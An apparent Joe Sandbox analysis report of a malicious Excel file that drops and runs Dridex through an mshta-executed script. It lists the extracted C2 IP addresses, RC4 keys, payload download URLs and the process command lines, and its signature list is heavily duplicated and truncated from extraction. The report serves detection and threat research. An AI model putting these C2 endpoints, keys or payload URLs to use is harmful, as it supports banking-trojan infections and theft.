
ID: 448885
Sample Name: 4TWEQh2HJb
Cookbook:
defaultwindowsofficecookbook.jbs
Time: 19:59:04
Date: 14/07/2021
Version: 33.0.0 White Diamond
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Windows Analysis Report 4TWEQh2HJb

Overview

General Information

Sample 
Name:

4TWEQh2HJb (renamed 
file extension from none to 
xls)

Analysis ID: 448885

MD5: 40425d09e54ff26…

SHA1: ae7e4df26092d9a…

SHA256: 6f8f1b26324ea0f…

Tags: excel xlsx

Infos:

Most interesting Screenshot:

Detection

DridexDridex

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE seDetected unpacking (changes PE se……

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its oDetected unpacking (overwrites its o……

Document exploit detected (creates 

Document exploit detected (creates 

Document exploit detected (creates 

Document exploit detected (creates 

Document exploit detected (creates 

Document exploit detected (creates 

Document exploit detected (creates Document exploit detected (creates ……

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for droppMulti AV Scanner detection for dropp……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince viOffice document tries to convince vi……

Yara detected Dridex unpacked file

Yara detected Dridex unpacked file

Yara detected Dridex unpacked file

Yara detected Dridex unpacked file

Yara detected Dridex unpacked file

Yara detected Dridex unpacked file

Yara detected Dridex unpacked fileYara detected Dridex unpacked file

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VBDocument contains an embedded VB……

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VBDocument contains an embedded VB……

Document exploit detected (process

Document exploit detected (process

Document exploit detected (process

Document exploit detected (process

Document exploit detected (process

Document exploit detected (process

Document exploit detected (processDocument exploit detected (process……

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for droppMachine Learning detection for dropp……

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

Microsoft Office creates scripting files

Microsoft Office creates scripting files

Microsoft Office creates scripting files

Microsoft Office creates scripting files

Microsoft Office creates scripting files

Microsoft Office creates scripting files

Microsoft Office creates scripting filesMicrosoft Office creates scripting files

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office PrSigma detected: Microsoft Office Pr……

Tries to delay execution (extensive O

Tries to delay execution (extensive O

Tries to delay execution (extensive O

Tries to delay execution (extensive O

Tries to delay execution (extensive O

Tries to delay execution (extensive O

Tries to delay execution (extensive OTries to delay execution (extensive O……

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamicTries to detect sandboxes / dynamic……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Uses known network protocols on no

Uses known network protocols on no

Uses known network protocols on no

Uses known network protocols on no

Uses known network protocols on no

Uses known network protocols on no

Uses known network protocols on noUses known network protocols on no……

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU UsageAbnormal high CPU Usage

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whicAllocates memory within range whic……

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a dContains functionality to check if a d……

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query localeContains functionality to query locale……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Creates a window with clipboard cap

Creates a window with clipboard cap

Creates a window with clipboard cap

Creates a window with clipboard cap

Creates a window with clipboard cap

Creates a window with clipboard cap

Creates a window with clipboard capCreates a window with clipboard cap……

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on nonDetected TCP or UDP traffic on non……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VBDocument contains an embedded VB……

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA Document contains embedded VBA ……

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTTDownloads executable code via HTT……

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Drops PE files to the application pro

Drops PE files to the application pro

Drops PE files to the application pro

Drops PE files to the application pro

Drops PE files to the application pro

Drops PE files to the application pro

Drops PE files to the application proDrops PE files to the application pro……

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / UsFound a high number of Window / Us……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detectedPotential document exploit detected……

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detectedPotential document exploit detected……

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detectedPotential document exploit detected……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w7x64

EXCEL.EXE (PID: 2820 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

mshta.exe (PID: 2104 cmdline: mshta 'C:\ProgramData\qRangeAutoFormatLocalFormat3.sct' MD5: 95828D670CFD3B16EE188168E083C3C5)

qDialogMainChartType.exe (PID: 3028 cmdline: C:\ProgramData\qDialogMainChartType.exe MD5: EA91555829C1DFDFD47709496461C5D6)

cleanup

{

  "Version": 22202,

  "C2 list": [

    "202.29.60.34:443",

    "66.175.217.172:13786",

    "78.46.78.42:9043"

  ],

  "RC4 keys": [

    "RQTJGOuDHeSyUCWzdNRZi3fWMitWY9aTc",

    "2UMW8pusQXiNJDgmuPITkf4TmrOt3Y13lRDWnjBuu16JkzjIG6gNuckQDkiut9pzQHVGfFdlT"

  ]

}

Process Tree

Malware Configuration

Threatname: Dridex

Yara Overview

Memory Dumps
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Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Machine Learning detection for dropped file

Machine Learning detection for sample

Compliance:

Detected unpacking (overwrites its own PE header)

Software Vulnerabilities:

Document exploit detected (creates forbidden files)

Document exploit detected (process start blacklist hit)

Networking:

C2 URLs / IPs found in malware configuration

Uses known network protocols on non-standard ports

E-Banking Fraud:

Yara detected Dridex unpacked file

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document contains an embedded VBA macro which may execute processes

Document contains an embedded VBA macro with suspicious strings

Source Rule Description Author Strings

00000003.00000002.2363961499.0000000010001000.0000
0020.00020000.sdmp

JoeSecurity_Dridex_1 Yara detected 
Dridex unpacked 
file

Joe Security

Source Rule Description Author Strings

3.2.qDialogMainChartType.exe.10000000.3.unpack JoeSecurity_Dridex_1 Yara detected 
Dridex unpacked 
file

Joe Security

Unpacked PEs

Copyright Joe Security LLC 2021 Page 5 of 18



Microsoft Office creates scripting files

Data Obfuscation:

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Hooking and other Techniques for Hiding and Protection:

Uses known network protocols on non-standard ports

Malware Analysis System Evasion:

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Tries to detect virtualization through RDTSC time measurements

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Network
Effects

Valid
Accounts

Scripting 3 2 Path
Interception

Process
Injection 1 2

Disable or Modify
Tools 1

OS
Credential
Dumping

Security Software
Discovery 3 1

Remote
Services

Email
Collection 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Exploitation for
Client
Execution 2 3

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Virtualization/Sandbox
Evasion 2 1

LSASS
Memory

Virtualization/Sandbox
Evasion 2 1

Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Non-Standard
Port 1 1

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Process
Injection 1 2

Security
Account
Manager

Process Discovery 1 SMB/Windows
Admin Shares

Clipboard
Data 1

Automated
Exfiltration

Ingress Tool
Transfer 1 1

Exploit SS7 to
Track Device
Location

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

Scripting 3 2 NTDS Application Window
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Non-Application
Layer Protocol 2

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network
Logon Script

Obfuscated Files or
Information 2

LSA
Secrets

Account Discovery 1 SSH Keylogging Data
Transfer
Size Limits

Application Layer
Protocol 1 1 2

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Software
Packing 2 3

Cached
Domain
Credentials

System Owner/User
Discovery 1

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Compile After
Delivery

DCSync Remote System
Discovery 1

Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly Used
Port

Rogue Wi-Fi
Access Points

Drive-by
Compromise

Command and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Indicator Removal
from Tools

Proc
Filesystem

File and Directory
Discovery 1

Shared
Webroot

Credential
API Hooking

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Application Layer
Protocol

Downgrade to
Insecure
Protocols

Exploit
Public-
Facing
Application

PowerShell At (Linux) At (Linux) Masquerading /etc/passwd
and
/etc/shadow

System Information
Discovery 1 2 5

Software
Deployment
Tools

Data Staged Exfiltration
Over
Asymmetric
Encrypted
Non-C2
Protocol

Web Protocols Rogue Cellular
Base Station

Behavior Graph
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Behavior Graph

ID: 448885

Sample: 4TWEQh2HJb

Startdate: 14/07/2021

Architecture: WINDOWS

Score: 100

66.175.217.172

LINODE-APLinodeLLCUS

United States

78.46.78.42

HETZNER-ASDE

Germany

202.29.60.34

CMRU-AS-APChiangmaiRajabhatUniversityTH

Thailand

Found malware configuration Multi AV Scanner detection
for submitted file

Office document tries
to convince victim to

disable security protection
(e.g. to enable ActiveX

or Macros)

8 other signatures

EXCEL.EXE

53 14

        started       

C:\...\qRangeAutoFormatLocalFormat3.sct, HTML

dropped

Document exploit detected
(creates forbidden files)

Microsoft Office creates
scripting files

mshta.exe

10

        started       

onlinefastsolutions.com

208.83.69.35, 49165, 8088

CLEAR-RATE-COMMUNICATIONSUS

United States

C:\ProgramData\qDialogMainChartType.exe, PE32

dropped

qDialogMainChartType.exe

        started       

Multi AV Scanner detection
for dropped file

Detected unpacking (changes
PE section rights)

Detected unpacking (overwrites
its own PE header) 4 other signatures

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

4TWEQh2HJb.xls 28% Virustotal Browse

4TWEQh2HJb.xls 100% Joe Sandbox ML

Source Detection Scanner Label Link

C:\ProgramData\qDialogMainChartType.exe 100% Joe Sandbox ML

C:\ProgramData\qDialogMainChartType.exe 30% ReversingLabs Win32.Trojan.Zenpak

Source Detection Scanner Label Link Download

3.2.qDialogMainChartType.exe.10000000.3.unpack 100% Avira TR/Dropper.Gen Download File

Source Detection Scanner Label Link

onlinefastsolutions.com 1% Virustotal Browse

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Copyright Joe Security LLC 2021 Page 8 of 18

https://www.virustotal.com/gui/file/6f8f1b26324ea0f3f566fbdcb4a61eb92d054ccf0300c52b3549c774056b8f02/detection/f-6f8f1b26324ea0f3f566fbdcb4a61eb92d054ccf0300c52b3549c774056b8f02-1626282287
https://www.virustotal.com/gui/url/be931342e2c583effe29192c4aa031c3ea3090ab3a6d8e50b2a73eaa366ca098/detection/u-be931342e2c583effe29192c4aa031c3ea3090ab3a6d8e50b2a73eaa366ca098-1626281643


Source Detection Scanner Label Link

fontfabrik.comQ 0% URL Reputation safe

fontfabrik.comQ 0% URL Reputation safe

fontfabrik.comQ 0% URL Reputation safe

fontfabrik.comQ 0% URL Reputation safe

onlinefastsolutions.com:8088/images/details.bin 0% Avira URL Cloud safe

www.tiro.com;Copyright 0% Avira URL Cloud safe

insiderushings.com:8088/js/file13.binj 0% Avira URL Cloud safe

paymentadvisry.com:8088/wp-theme/file7.bin3.sct 0% Avira URL Cloud safe

onlinefastsolutions.com:8088/js/file1.bin 0% Avira URL Cloud safe

www.typography.netD 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

www.icra.org/vocabulary/. 0% URL Reputation safe

www.icra.org/vocabulary/. 0% URL Reputation safe

www.icra.org/vocabulary/. 0% URL Reputation safe

onlinefastsolutions.com:8088/images/file13.bin 0% Avira URL Cloud safe

onlinefastsolutions.com:8088/tpls/file3.bind 0% Avira URL Cloud safe

onlinefastsolutions.com:8088/tpls/file3.binc 0% Avira URL Cloud safe

buyer-remindment.com:8088/fonts/file8.bin 0% Avira URL Cloud safe

www.%s.comPA 0% URL Reputation safe

www.%s.comPA 0% URL Reputation safe

www.%s.comPA 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

onlinefastsolutions.com:8088/tpls/file3.binQ 0% Avira URL Cloud safe

www.urwpp.de 0% URL Reputation safe

www.urwpp.de 0% URL Reputation safe

www.urwpp.de 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

onlinefastsolutions.com:8088/tpls/file3.binX 0% Avira URL Cloud safe

www.bethmardutho.org.P 0% URL Reputation safe

www.bethmardutho.org.P 0% URL Reputation safe

www.bethmardutho.org.P 0% URL Reputation safe

insiderushings.com:8088/js/file13.bin 0% Avira URL Cloud safe

www.galapagosdesign.com/ 0% URL Reputation safe

www.galapagosdesign.com/ 0% URL Reputation safe

www.galapagosdesign.com/ 0% URL Reputation safe

www.ascendercorp.com/ 0% URL Reputation safe

www.ascendercorp.com/ 0% URL Reputation safe

www.ascendercorp.com/ 0% URL Reputation safe

fasteasyupdates.com:8088/vendors/file4.bin 0% Avira URL Cloud safe

www.c-and-g.co.jp 0% URL Reputation safe

www.c-and-g.co.jp 0% URL Reputation safe

www.c-and-g.co.jp 0% URL Reputation safe

windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe

windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe

windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe

paymentadvisry.com:8088/wp-theme/file7.bin 0% Avira URL Cloud safe

buyer-remindment.com:8088/tpls/file4.bin 0% Avira URL Cloud safe

onlinefastsolutions.com:8088/js/file1.binT 0% Avira URL Cloud safe

onlinefastsolutions.com:8088/images/details.binG 0% Avira URL Cloud safe

www.founder.com.cn/cn/ 0% URL Reputation safe

www.founder.com.cn/cn/ 0% URL Reputation safe

www.founder.com.cn/cn/ 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe
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General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 448885

Start date: 14.07.2021

Start time: 19:59:04

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 6m 49s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: 4TWEQh2HJb (renamed file extension from none to xls)

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 
4.6.2)

Number of analysed new started processes 
analysed:

4

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

www.founder.com.cn/cn 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

onlinefastsolutions.com:8088/tpls/file3.bin 0% Avira URL Cloud safe

www.ascendercorp.com/typedesigners.htmlt 0% URL Reputation safe

www.ascendercorp.com/typedesigners.htmlt 0% URL Reputation safe

www.ascendercorp.com/typedesigners.htmlt 0% URL Reputation safe

buyer-remindment.com:8088/tpls/file4.bin: 0% Avira URL Cloud safe

buyer-remindment.com:8088/css/file7.bin 0% Avira URL Cloud safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

onlinefastsolutions.com 208.83.69.35 true false 1%, Virustotal, Browse unknown

Name Malicious Antivirus Detection Reputation

onlinefastsolutions.com:8088/tpls/file3.bin false Avira URL Cloud: safe unknown

IP Domain Country Flag ASN ASN Name Malicious

78.46.78.42 unknown Germany 24940 HETZNER-ASDE true

208.83.69.35 onlinefastsolutions.com United States 22438 CLEAR-RATE-
COMMUNICATIONSUS

false

202.29.60.34 unknown Thailand 24344 CMRU-AS-
APChiangmaiRajabhatUniver
sityTH

true

66.175.217.172 unknown United States 63949 LINODE-APLinodeLLCUS true

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public
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https://www.virustotal.com/gui/url/be931342e2c583effe29192c4aa031c3ea3090ab3a6d8e50b2a73eaa366ca098/detection/u-be931342e2c583effe29192c4aa031c3ea3090ab3a6d8e50b2a73eaa366ca098-1626281643


Technologies: HCA enabled
EGA enabled
HDC enabled
GSI enabled (VBA)
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.expl.evad.winXLS@5/2@2/4

EGA Information: Failed

HDC Information: Successful, ratio: 91.1% (good quality ratio 89.8%)
Quality average: 80.4%
Quality standard deviation: 24.3%

HCA Information: Failed

Cookbook Comments: Adjust boot time
Enable AMSI
Changed system and user locale, location and keyboard layout to English - United States
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM
Scroll down
Close Viewer

Warnings:

Time Type Description

19:59:47 API Interceptor 5x Sleep call for process: mshta.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

78.46.78.42 ldE25Snd1f.exe Get hash malicious Browse

Receipt-6218387.xls Get hash malicious Browse

BhAJLvq0c7.xls Get hash malicious Browse

PFx3G8Snzk.exe Get hash malicious Browse

9EP6Gxzv6F.xls Get hash malicious Browse

2ejCKSIjIV.exe Get hash malicious Browse

bQWApID6av.xls Get hash malicious Browse

208.83.69.35 BhAJLvq0c7.xls Get hash malicious Browse  buyer-rem
indment.co
m:8088/js/
file13.bin

bQWApID6av.xls Get hash malicious Browse  buyer-rem
indment.co
m:8088/tem
plates/file6.bin

202.29.60.34 ldE25Snd1f.exe Get hash malicious Browse

Receipt-6218387.xls Get hash malicious Browse

BhAJLvq0c7.xls Get hash malicious Browse

PFx3G8Snzk.exe Get hash malicious Browse

9EP6Gxzv6F.xls Get hash malicious Browse

2ejCKSIjIV.exe Get hash malicious Browse

bQWApID6av.xls Get hash malicious Browse

66.175.217.172 ldE25Snd1f.exe Get hash malicious Browse

Receipt-6218387.xls Get hash malicious Browse

BhAJLvq0c7.xls Get hash malicious Browse

PFx3G8Snzk.exe Get hash malicious Browse

9EP6Gxzv6F.xls Get hash malicious Browse

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs
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https://view.joesandbox.com/analysis/351967/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351967/html/none?idtype=webid
https://view.joesandbox.com/analysis/351961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351961/html/none?idtype=webid
https://view.joesandbox.com/analysis/351948/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351948/html/none?idtype=webid
https://view.joesandbox.com/analysis/351932/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351932/html/none?idtype=webid
https://view.joesandbox.com/analysis/351908/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351908/html/none?idtype=webid
https://view.joesandbox.com/analysis/351904/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351904/html/none?idtype=webid
https://view.joesandbox.com/analysis/351895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351895/html/none?idtype=webid
https://view.joesandbox.com/analysis/351948/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351948/html/none?idtype=webid
https://view.joesandbox.com/analysis/351895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351895/html/none?idtype=webid
https://view.joesandbox.com/analysis/351967/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351967/html/none?idtype=webid
https://view.joesandbox.com/analysis/351961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351961/html/none?idtype=webid
https://view.joesandbox.com/analysis/351948/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351948/html/none?idtype=webid
https://view.joesandbox.com/analysis/351932/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351932/html/none?idtype=webid
https://view.joesandbox.com/analysis/351908/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351908/html/none?idtype=webid
https://view.joesandbox.com/analysis/351904/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351904/html/none?idtype=webid
https://view.joesandbox.com/analysis/351895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351895/html/none?idtype=webid
https://view.joesandbox.com/analysis/351967/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351967/html/none?idtype=webid
https://view.joesandbox.com/analysis/351961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351961/html/none?idtype=webid
https://view.joesandbox.com/analysis/351948/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351948/html/none?idtype=webid
https://view.joesandbox.com/analysis/351932/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351932/html/none?idtype=webid
https://view.joesandbox.com/analysis/351908/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351908/html/none?idtype=webid


2ejCKSIjIV.exe Get hash malicious Browse

bQWApID6av.xls Get hash malicious Browse

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

onlinefastsolutions.com Receipt-6218387.xls Get hash malicious Browse 185.21.216.153

Match Associated Sample Name / URL SHA 256 Detection Link Context

CMRU-AS-
APChiangmaiRajabhatUniversityTH

ldE25Snd1f.exe Get hash malicious Browse 202.29.60.34

Receipt-6218387.xls Get hash malicious Browse 202.29.60.34

BhAJLvq0c7.xls Get hash malicious Browse 202.29.60.34

PFx3G8Snzk.exe Get hash malicious Browse 202.29.60.34

9EP6Gxzv6F.xls Get hash malicious Browse 202.29.60.34

2ejCKSIjIV.exe Get hash malicious Browse 202.29.60.34

bQWApID6av.xls Get hash malicious Browse 202.29.60.34

HETZNER-ASDE ldE25Snd1f.exe Get hash malicious Browse 78.46.78.42

2aJ9QdIdFE.exe Get hash malicious Browse 195.201.22
5.248

EA4LughYnY.exe Get hash malicious Browse 195.201.22
5.248

Receipt-6218387.xls Get hash malicious Browse 78.46.78.42

etSPaoVcAD.exe Get hash malicious Browse 195.201.22
5.248

VwC7ZwYCLH.exe Get hash malicious Browse 195.201.22
5.248

BhAJLvq0c7.xls Get hash malicious Browse 78.46.78.42

kxQkjkU9DO.exe Get hash malicious Browse 195.201.22
5.248

PFx3G8Snzk.exe Get hash malicious Browse 78.46.78.42

9CMjcYFBxo.exe Get hash malicious Browse 195.201.22
5.248

jDnYtpTxyZ.exe Get hash malicious Browse 88.99.66.31

JvlwIeO09R.exe Get hash malicious Browse 195.201.22
5.248

9EP6Gxzv6F.xls Get hash malicious Browse 78.46.78.42

2ejCKSIjIV.exe Get hash malicious Browse 78.46.78.42

SMIym2zwaL.exe Get hash malicious Browse 116.202.183.50

KHK8O5BT50.exe Get hash malicious Browse 88.99.66.31

bQWApID6av.xls Get hash malicious Browse 78.46.78.42

pEIro35JRJ.exe Get hash malicious Browse 195.201.22
5.248

KHK8O5BT50.exe Get hash malicious Browse 88.99.66.31

AEdU8eJHgN.exe Get hash malicious Browse 195.201.22
5.248

CLEAR-RATE-COMMUNICATIONSUS BhAJLvq0c7.xls Get hash malicious Browse 208.83.69.35

bQWApID6av.xls Get hash malicious Browse 208.83.69.35

No context

No context

C:\ProgramData\qDialogMainChartType.exe

Process: C:\Windows\System32\mshta.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/351904/html/none?idtype=webid#static
